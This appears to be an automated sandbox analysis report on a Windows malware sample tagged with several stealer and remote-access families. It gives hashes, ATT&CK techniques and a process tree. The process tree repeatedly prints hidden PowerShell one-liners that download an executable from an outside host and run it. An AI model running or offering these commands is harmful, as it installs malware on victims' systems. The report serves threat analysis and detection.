76cf975b0d77f49e98817974cd1f80a2d69ca4bde9afa9da9818970c7ed3372e

Analysis

max time kernel
149s
max time network
128s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
24/10/2026, 14:02

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General

Target
2026-10-22_4b7a2f59ea4df0b604fb7bd563a9174b_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe
Size 558KB
Sample261024-rb89favtgw
SHA256 76cf975b0d77f49e98817974cd1f80a2d69ca4bde9afa9da9818970c7ed3372e
MD5 4b7a2f59ea4df0b604fb7bd563a9174b
SHA1 d5e4a5c22de686489b12406e5b66392569579017
SHA512 793316ede1f67684393055e6e76ba2bddd01f2e1dbe40dcfd31667c6c587d428f6ae06d5fd6f99bba6a85923e6a3eb9cf2a99e32d2cebfdc3c9fd58e6c79e7a8
SSDEEP 6144:KMAFOxz8aGpFqOEDyu5qeo+VAqOGcr+vx13htNU5ciKOqN32jZo+NzCucxiltMoX:1zcQX/POGcr+37NbiMotNz0itMz
TLSH
T13EC46D16E7A100F9E167C178CAA75602EB32BC451760EBDF03D499651F63BE09E3EB12
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1504	powershell.exe
6012	powershell.exe
2528	powershell.exe

Executes a command shell one-liner 1 TTPs 6 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3212	cmd.exe
2432	cmd.exe
2368	cmd.exe
2852	cmd.exe
4372	cmd.exe
492	cmd.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
1504	powershell.exe
6012	powershell.exe
6012	powershell.exe
6012	powershell.exe
1504	powershell.exe
1504	powershell.exe
2528	powershell.exe
2528	powershell.exe
2528	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	1504	powershell.exe
Token: SeDebugPrivilege	6012	powershell.exe
Token: SeDebugPrivilege	2528	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 4428 wrote to memory of 492	4428	2026-10-22_4b7a2f59ea4df0b604fb7bd563a9174b_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe	89
PID 492 wrote to memory of 3212	492	cmd.exe	91
PID 4428 wrote to memory of 2432	4428	2026-10-22_4b7a2f59ea4df0b604fb7bd563a9174b_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe	93
PID 3212 wrote to memory of 1504	3212	cmd.exe	95
PID 2432 wrote to memory of 2368	2432	cmd.exe	96
PID 4428 wrote to memory of 2852	4428	2026-10-22_4b7a2f59ea4df0b604fb7bd563a9174b_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe	98
PID 2368 wrote to memory of 6012	2368	cmd.exe	100
PID 2852 wrote to memory of 4372	2852	cmd.exe	101
PID 4372 wrote to memory of 2528	4372	cmd.exe	103

C:\Users\Admin\AppData\Local\Temp\2026-10-22_4b7a2f59ea4df0b604fb7bd563a9174b_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe
"C:\Users\Admin\AppData\Local\Temp\2026-10-22_4b7a2f59ea4df0b604fb7bd563a9174b_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4428
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=yQbDrnzZVH6cCtokqOPRE001.txt' -OutFile $env:TEMP\BK514205.exe; Start-Process -FilePath $env:TEMP\BK514205.exe -WindowStyle Hidden }"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:492
- - C:\Windows\system32\cmd.exe
    cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=yQbDrnzZVH6cCtokqOPRE001.txt' -OutFile $env:TEMP\BK514205.exe; Start-Process -FilePath $env:TEMP\BK514205.exe -WindowStyle Hidden }"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3212
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=yQbDrnzZVH6cCtokqOPRE001.txt' -OutFile $env:TEMP\BK514205.exe; Start-Process -FilePath $env:TEMP\BK514205.exe -WindowStyle Hidden }"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1504
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=d4vm3kRIU7hPzdWB0oDSW001.txt' -OutFile $env:TEMP\BK291696.exe; Start-Process -FilePath $env:TEMP\BK291696.exe -WindowStyle Hidden }"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2432
- - C:\Windows\system32\cmd.exe
    cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=d4vm3kRIU7hPzdWB0oDSW001.txt' -OutFile $env:TEMP\BK291696.exe; Start-Process -FilePath $env:TEMP\BK291696.exe -WindowStyle Hidden }"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2368
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=d4vm3kRIU7hPzdWB0oDSW001.txt' -OutFile $env:TEMP\BK291696.exe; Start-Process -FilePath $env:TEMP\BK291696.exe -WindowStyle Hidden }"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:6012
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=zjEjEHt1j823gmOXR2DSW01.txt' -OutFile $env:TEMP\BK687093.exe; Start-Process -FilePath $env:TEMP\BK687093.exe -WindowStyle Hidden }"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2852
- - C:\Windows\system32\cmd.exe
    cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=zjEjEHt1j823gmOXR2DSW01.txt' -OutFile $env:TEMP\BK687093.exe; Start-Process -FilePath $env:TEMP\BK687093.exe -WindowStyle Hidden }"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4372
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=zjEjEHt1j823gmOXR2DSW01.txt' -OutFile $env:TEMP\BK687093.exe; Start-Process -FilePath $env:TEMP\BK687093.exe -WindowStyle Hidden }"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2528

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 c311d7a95a14dd408846b0a6d5217a723248a5c80d9f6bf81b530bc11db1e5db
MD5 1d54b99e254f290665485db275f69f5a
SHA1 cf35b5a1de221bb0e00f0c1f047dd6ecbba2a36c
SHA512 16a132ef4935602e01ff628f750849722e86aaec5db480eb820cb2f1ec96d385ec20b6b0665f761d1d92f3d3c1d21da106447a4f87d67e3707cefd8943c26a87
TLSH
T1A3215C37B3DC8614DC9A413A50CEAC1036B6C7D7409ECE6B7B84D544B42F599DE61250
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 41c59a73d29fe9a72437c323e3c89bda71c6987848a20016af52c6e2a57b4ba8
MD5 8e8def21d8a45f4186ed39e4cd51780b
SHA1 478eecc4a4839a61f49d36aaac489fb03a902a76
SHA512 78953e7a08cc12b6323f9d053fa308b74c8497d1f747494a492d705ea4091895f77b9c4589766a1aa4ba39e7879c8b70bf4d95904d48282054237363dacd5418
TLSH
T14E218933B3DC8614CC8A403A10CEAC1036B6C7DB809ECFABBB84D544B42F299DE60260
MD5 SHA1 SHA512 TLSH

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__PSScriptPolicyTest_zpvwdlqx.5vn.psm1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zpvwdlqx.5vn.psm1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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memory/1504-15-0x00007FF90FDC0000-0x00007FF910764000-memory.dmp

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memory/1504-6-0x00007FF90FDC0000-0x00007FF910764000-memory.dmp

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memory/1504-7-0x00007FF90FDC0000-0x00007FF910764000-memory.dmp

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memory/1504-13-0x00007FF90FDC0000-0x00007FF910764000-memory.dmp

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memory/1504-14-0x00007FF90FDC0000-0x00007FF910764000-memory.dmp

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memory/1504-0-0x00007FF90FF4F000-0x00007FF90FF50000-memory.dmp

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memory/1504-18-0x00007FF90FDC0000-0x00007FF910764000-memory.dmp

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memory/1504-5-0x0000023641540000-0x0000023641562000-memory.dmp

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memory/1504-19-0x00007FF90FDC0000-0x00007FF910764000-memory.dmp

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memory/1504-20-0x00007FF90FDC0000-0x00007FF910764000-memory.dmp

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memory/1504-21-0x00007FF90FDC0000-0x00007FF910764000-memory.dmp

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memory/1504-22-0x00007FF90FDC0000-0x00007FF910764000-memory.dmp

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memory/1504-23-0x00007FF90FDC0000-0x00007FF910764000-memory.dmp

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memory/1504-27-0x00007FF90FDC0000-0x00007FF910764000-memory.dmp

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memory/1504-2-0x00007FF90FDC0000-0x00007FF910764000-memory.dmp

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memory/1504-1-0x00007FF90FDC0000-0x00007FF910764000-memory.dmp

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